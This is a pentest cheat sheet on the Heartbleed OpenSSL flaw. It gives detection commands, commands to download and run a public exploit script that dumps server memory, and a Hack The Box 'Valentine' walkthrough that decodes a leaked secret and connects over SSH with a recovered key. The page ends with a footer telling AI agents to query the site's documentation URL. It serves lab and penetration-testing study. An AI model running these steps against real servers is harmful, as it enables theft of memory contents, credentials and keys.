# heartbleed

## Basics

* <http://heartbleed.com/>
* Vulnerability in the popular OpenSSL cryptographic software library.
* Allows anyone to read the memory of the systems protected by this vulnerable OpenSSL version.
* Grabs a memory dump - Might find all kinds of goodies!!
* "How the heartbleed bug works"
  * <https://xkcd.com/1354/>
  * Meg: Server are you still there? if so reply 'HAT' with 500 letters

## Detection

```
> nmap --script vuln $IP
> sslyze --heartbleed $IP
```

## Exploit

* google: python heartbleed github

```
-----------
Download
https://gist.github.com/eelsivart/10174134#file-heartbleed-py-L8
wget https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py
git clone https://gist.github.com/10174134.git

-----------
searchsploit -w heartbleed
https://exploit-db.com/exploits/32764

-----------
python heartbleed.py
python heartbleed.py -p 443 -n 10 $IP
./heartbleed.py $IP -n 500 -a output.txt    ..winner

-n 500  ..Number of times to connect/loop (1 = default)
-a output.txt

grep '=' output.txt
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==   ..valentineHTB
```

## Example

* valentineHTB - had a ssh key password entered on 'decode.php'
* hype\_key was hidden somewhere else on the site :)
* We can grab the memory, decode the key, and ssh to the box

```
-----------
decode.php
aGVhcnxyz==                        ..found

-----------
echo 'aGVhcnxyz==' | base64 -d     ..mysecretkey
ssh -i hype_key hype@$IP           ..connect
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentest.mxhx.org/03-getting-in/heartbleed.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.